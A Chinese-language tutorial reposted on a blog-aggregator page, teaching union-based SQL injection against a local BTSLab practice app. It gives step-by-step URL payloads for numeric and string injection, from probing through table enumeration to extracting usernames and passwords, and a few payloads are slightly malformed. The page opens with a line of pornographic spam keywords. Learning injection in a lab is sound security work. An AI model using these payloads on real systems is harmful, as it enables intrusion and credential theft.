日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入(1)

發布時間:2023/12/10 数据库 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入(1) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

基于聯合調查的SQL注入

我們先了解一下mysql的系統函數

?

user()database()version()concat()group_concat()datadir
當前使用者的用戶名

當前數據庫名

數據庫版本

連接一個或者多個字符串

接一個組的所有字符串,并以逗號分隔每一條數據讀取數據庫的絕對路徑

這里給大家提供一個SQL注入的實驗平臺。http://localhost/btslab/vulnerability/ForumPosts.php?id=1(請打開phpstudy使用)

數字型注入

我們以http://localhost/btslab/vulnerability/ForumPosts.php?id=1為例,可以看出這是一個動態URL,也就是說可以在地址欄中傳參,這是SQL注入的基本條件。

1.判斷是否能sql注入:

http://localhost/btslab/vulnerability/ForumPosts.php?id=1' ? ? ? ? ? ? ? ? ? ? ①? 頁面返回錯誤

http://localhost/btslab/vulnerability/ForumPosts.php?id=1?and 1=1 ? ? ?? ②? 頁面返回正常

http://localhost/btslab/vulnerability/ForumPosts.php?id=1?and 1=2 ? ? ? ? ③? 頁面返回錯誤

如果符合上述三點則我們可以確定可以進行SQL注入,且id是一個注入點。

2.查數據庫:

http://localhost/btslab/vulnerability/ForumPosts.php?id=1and ord(mid(version(),1,1))>51

如果返回正常頁面,說明數據庫是mysql,并且版本大于4.0,支持union查詢,反之是4.0以下版本或者其他類型數據庫。?

3.查字段:

a. http://localhost/btslab/vulnerability/ForumPosts.php?id=1?order by 5 ?

返回錯誤頁面,說明字段小于5。

b.http://localhost/btslab/vulnerability/ForumPosts.php?id=1?order by 4 ??

返回正常頁面,說明字段為4。

當然我們可以從1開始依次列舉。

?5.查列數:

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,2,3,4?

我們發現頁面返回給我們兩個數字,2,4。 這里的2,4指是數據儲存的位置,也就是我們可以把這個數字中的一個或者多個替換成我們想要查詢的關鍵字。

6.查數據庫名:?

?http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,database(),3,4 ? ? ? ? ? ? ?

瀏覽器給我們返回了bts? 。說明這個網站 的數據庫庫名是 bts

7.查表:

http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

(補充一下:MYSQL中有個數據庫叫 information_schema,數據庫中有個表名叫tables,其中的table_name列儲存了所有數據庫中的所有表名,而table_schema則儲存著該表所在的數據庫名,group_concat()可以把多項數據合成一個字符串返回)

查到bts下的表名:messages,posts,tdata,users

?8.同樣我們也可以查詢用戶名和密碼。

http://localhost/btslab/vulnerability/ForumPosts.php?id=1?and 1=2 union select 1,username,3,password

注意這里的users是表名,而不是固定的。

字符型注入 ? ? ? ? ?

簡而言之,基于字符型的SQL注入即存在SQL注入漏洞的URL參數為字符串類型(需要使用單引號表示)。如:select * from 表名 where id ='1'

在這里我們仍然以http://localhost/btslab/vulnerability/ForumPosts.php?id=1 為例。

1.判斷是否為字符型注入:

http://localhost/btslab/vulnerability/ForumPosts.php?id=1' ①頁面返回錯誤

http://localhost/btslab/vulnerability/ForumPosts.php?id=1''②頁面返回正常

如果符合上述情況,則可以確定這是字符型注入且id是一個注入點。

2.查字段:http://localhost/btslab/vulnerability/ForumPosts.php?id=1' order by 1 # (同上)

此時數據庫中的查詢語句為:select * from 表名 wher id='1' order by 1 #' 這里為了達到引號閉合的目的我們需要注釋一個引號。

3.查列數:http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,2,3,4 #

4.查數據庫名:http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,database(),3,4 # ? 得到表名bts

5.查表:http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #

6.查詢用戶名和密碼:

http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,username,3,password #

?

?

?

?

?

?

?

?

?

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??

轉載于:https://www.cnblogs.com/So7cool/p/9826616.html

總結

以上是生活随笔為你收集整理的SQL注入(1)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。